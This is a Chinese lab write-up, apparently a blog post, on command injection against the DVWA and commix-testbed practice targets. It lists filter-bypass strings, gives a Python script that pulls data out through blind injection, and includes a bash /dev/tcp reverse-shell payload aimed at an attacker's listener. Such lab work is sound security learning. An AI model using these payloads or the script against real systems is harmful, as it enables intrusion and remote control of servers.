命令注入实操与总结

概述

命令注入与sql注入,XSS漏洞相似。都是由于程序员的逻辑漏洞。没有考虑周全所导致的。常在执行系统命令的Web程序中

连接符

管道(|)符

sheel1 | sheel2
当sheel执行成功的结果是sheel2的参数

and(&&)符

sheel1&&sheel2
当sheel1执行成功的时候执行sheel2,当sheel1执行失败则不执行sheel2

或(||)符

sheel1 || sheel2
当sheel执行成功之后则不执行sheel2,反之执行sheel2

连续指令

sheel1;sheel2;sheel3;
一个个的去执行,当sheel1执行完毕之后执行Shee2,然后sheel3

连接符

sheel1&sheel2
连续两个都执行

空字符

%0a
换行符

%0d
回车符

${IFS}
空格符

${9}
空字符串

${PS2}
">"符号

${PS4}
"+"符号

重定向

重定向>符

sheel1>sheel2
将sheel的结果作为sheel2的参数,替换sheel2中的内容。

重定向<符

sheel1<sheel2
sheel1的命令sheel2中读取

重定向<<<符

cmd<<<abc
将abc和后面的换行作为输入传递给cmd命令

命令执行

读文件

cat flag 按顺序读取

在这里插入图片描述

tac flag 按逆序读取

在这里插入图片描述

more flag 一页页的读取

在这里插入图片描述

tail flag 读取末尾十行

在这里插入图片描述

head flag 读取开头十行

在这里插入图片描述

less flag 分页显示内容

在这里插入图片描述

nl flag 在每行前面显示行数

在这里插入图片描述

od -a flag 以十六进制显示文件内容

在这里插入图片描述

uniq flag 删除文件重复行,最后结果显示

在这里插入图片描述

sort flag 将文件排列之后显示

在这里插入图片描述

strings flag 在对象或二进制文件中查找可打印的字符串

在这里插入图片描述

rev flag 将文件内容每行反序输出

在这里插入图片描述

paste flag 将文件以列队列的形式输出出来

在这里插入图片描述

wc flag 将文件行数,列数,文件名等内容显示出来

在这里插入图片描述

diff flaga flagb 比较两个文件的内容,输出flaga文件内容

在这里插入图片描述

命令绕过

关键字绕过

或许后端过滤了一些关键字,比如cat,flag等关键字,我们可以在他中间插入特殊字符。

c’‘at fl’'ag
ca"“t fl”"ag
c\at fla\g
c${9}at fla${9}g

还可以使用base64编码
注:引号必须成对出现,相当于中间插入了一个空字符也就是${9}

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

这样也可以绕过黑名单。

DVWA下的命令注入

·Low级别的命令注入

Low级别的应该啥都没有做防御,可以使用||,&&,;等符号进行注入。去获取服务器的ip信息。
在这里插入图片描述

·Mediumn级别的命令注入

中等级别可以继续使用or(||)或者and(&&)等命令去碰,试试看能否绕过。
在这里插入图片描述

最后查看源码发现他只绕过了and(&&)符和连续符两个字符。
在这里插入图片描述

· High级别的命令注入

High级别他应该过滤的更严格,我们可以一个个的去猜,看看能否碰到一两个逃脱了的黑名单。
尝试输入||结果成功的绕过他了。
在这里插入图片描述
查看源代码发现他是以数组的方式过滤的,他刚好只过滤了一个|还剩了一个|也就是管道符,所以我们可以绕过。
在这里插入图片描述

impossible级别的命令注入

通过源码发现

在这里插入图片描述

commix-testbed-master示例

常规

经典常规示例

这题应该没有做任何防护,直接使用and符号
在这里插入图片描述

经典Base64常规示例

尝试输入** 127.0.0.1&& whoami**结果提示需要输入base64编码。
在这里插入图片描述
然后再尝试将代码进行base64转换。结果成功了说明他暂时还没有进行过滤等操作
查看当前目录下的文件,只返回了一条记录

经典单引号示例

尝试输入127.0.0.1&&ls发现没有回显内容。
在这里插入图片描述
尝试很多次不行,然后还是通过源码分析一波,发现执行参数哪里有一个漏洞。
在这里插入图片描述

我们可以利用单引号哪里做注入,将命令给用单引号引起来,让他成为一个命令,而不是参数。尝试发现成功了。
在这里插入图片描述

双引号命令注入

还是先尝试输入普通命令吧。
在这里插入图片描述

发现还是没有回显内容。这时候只能又去打开源码分析一波,发现同单引号一样,但是这次变成了双引号。
在这里插入图片描述

我们就将要执行的命令给用双引号给引起来。成功绕过。
在这里插入图片描述

经典空格示例

还是那样吧,先尝试一下输入内容
在这里插入图片描述
发现他提示允许输入空格。所以这关应该是空格绕过。然后我们使用一些空格字符绕过。成功。
在这里插入图片描述
在这里插入图片描述
因为这里只能查看一行记录,所以我们需要改变参数一行行的仔细查看。下面是一些方法的参数。

head参数

head  -n  <行数>   filename      显示文件内容的前n行;
例如:head   -n   5   file1     显示文件file1的前5行内容
head   -c  <字节>    filename      显示文件内容的前n个字节;
例如:head  -c  20  file2      显示文件file2的前20个字节内容

tail参数

tail    file1      显示文件file1的尾部10行内容;
tail  -n  <行数>  filename    显示文件尾部的n行内容;
例如:tail  -n  5   file1    显示文件file1的末尾5行内容
tail  -c  <字节数>   filename     显示文件尾部的n个字节内容;
例如:tail  -c  20   file2    显示文件file2的末尾20个字节

黑名单绕过命令注入

这关是黑名单绕过,所以一个个的去试,看看有没有漏网之鱼。所以试了大概五六七八下吧,就成功了。
在这里插入图片描述
然后去查看源代码发现只做了几个符号的过滤。
在这里插入图片描述

hash值命令注入。

打开攻击页面,它提示MD5hash值,所以这关应该是利用md5方式。然后发现好像不是md5加密之后值。
在这里插入图片描述
之后尝试不成功还是打开查看源代码。发现他是在输出后面在进行加密。
在这里插入图片描述

所以我们在输入的后面将转换成为md5值那个函数给注释掉。

![

Classic example & Basic HTTP Authentication

打开这个界面,但是他提醒需要登录。
在这里插入图片描述
使用burp进行抓包查看里面的参数。
在这里插入图片描述
抓到里面一个用base64编码加密的字符串。我们使用解密工具进行解密,可与看到他是用户名:密码形式的。
所以我们可以进行爆破。可以用bp进行爆破也可以用python脚本进行爆破。
反正爆破出来的结果是admin:admin。利用这个进行登录,登录成功。

这下终于进入了命令注入攻击界面,可以先尝试一下是否做了防御。测试发现啥都没做。
在这里插入图片描述
ps:我们感觉应该不是这么做的。这题的题目是http认证,应该绕过http认证,但是实在不知道怎么做。

Digest HTTP Authentication

这题好像也不会,还是让它占一行看下一题吧

Blind regular example(盲注)

还是先输入一个正常的ip,发现他的提示的是running。
在这里插入图片描述

输入一个错误的ip,查看他的提示是down。

在这里插入图片描述
在尝试输入127.0.0.1&&cat flag提示也是running。可以发现他应该是一个盲注。
在这里插入图片描述
看到是盲注然后不得不在去补一点知识面了

linux系统中的判断语句
if [ 1 = 1 ];then echo 1 fi
if [ 1 = 1];then echo 1;else echo 2;fi
特别注意:括号与参数之间有一个空格,等式两边也有空格。

然后就是补充cut方法了

-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除

在这里插入图片描述

回归正题,利用上面的if语句,构造判断然后一步步的去猜解,但是我觉得有点费时间,所以还是写个脚本吧。
获取flag文件内容长度。
在这里插入图片描述
获取flag文件内容。
在这里插入图片描述
完整代码。

import requests
import string

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",}
site = "http://192.168.178.141:80/"

def burp():

    url = "{}scenarios/regular/GET/blind.php?addr=".format(site)

    strings = string.ascii_letters+string.digits
    strings += "{}_-`~!@#$%^&*()+"

    flag_length = 0
    i = 7
    while True:

        length_url = url + "127.0.0.1;x=$(cat flag);if [ ${0} = {1} ];then echo 1;else ping a;fi".format("{%23x}", i)

        length_res = requests.get(url=length_url, headers=headers)

        if "running" in length_res.text:
            print("----长度为:{}".format(i))
            flag_length = i
            break
        else:

            print("长度不是{}".format(i))
            i += 1

    flag = ""

    for i in range(1,flag_length + 1):

        for  j in strings:

            flag_url = "{}127.0.0.1;x=$(cut -c {} flag);if [ ${} = '{}' ];then echo 1;else ping a;fi ".format(url,i,"x",j)
            flag_res = requests.get(url=flag_url, headers=headers)

            if "running" in flag_res.text:
                flag += j
                print(flag)
                break

    print("flag值为:{}".format(flag))

if __name__ == '__main__':
    burp()

正确的结果。
在这里插入图片描述

ps:我承认因为脚本运行太慢了,所以改了一些参数,包括flag值,但是这个脚本除了运行慢点其他的修改的参数哪些都是对的。

Eval regular example

还是先输入普通的字符串看他回显的内容。
在这里插入图片描述

利用之前的方法进行测试,看有没有出现命令注入漏洞。
在这里插入图片描述

在这里插入图片描述

他还是原样输出了结果,我们在试试使用闭合,将内容函数闭合掉。
在这里插入图片描述

发现双引号没有回显的内容,说明双引号成功闭合,我们在试试构造phpinfo()函数进行测试。
在这里插入图片描述

还是没有内容回显,应该还没完全闭合掉,所以我们可以在试试单引号,分号这些闭合。
在这里插入图片描述

使用分号后好像内容有点显现,我们加上phpinfo()试试。
在这里插入图片描述

成功打开phpinfo()页面内容。
我们在构造系统命令ls命令进行查看目录文件。
在这里插入图片描述
在这里插入图片描述

我们看到有一个flag文件,我们cat出来看看。
在这里插入图片描述

成功拿到他的flag值。

如果这么说的话我们岂不是可以上传反弹shell的内容进行反向侦听呢?

  • 先新建一个攻击机的监听端口
    在这里插入图片描述

  • 然后在利用命令注入漏洞去上传反向监听的代码。

payload:bash -i >& /dev/tcp/192.168.178.249/6666 0>&1

在这里插入图片描述

  • 在攻击机中查看是否监听成功
    在这里插入图片描述

  • 监听失败
    但是好像不行,猜测应该是靶场的原因,因为dvwa这个靶场都行。

但是换了一种方法就成功了,将反向监听给弄成python脚本文件,就可以监听了。
详情去看反弹shell

Eval (Base64) regular example

这题与上题类似,但是将代码编译成base64编码。

Classic (SOAP/XML) regular example

有空在做吧!拜啦!

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值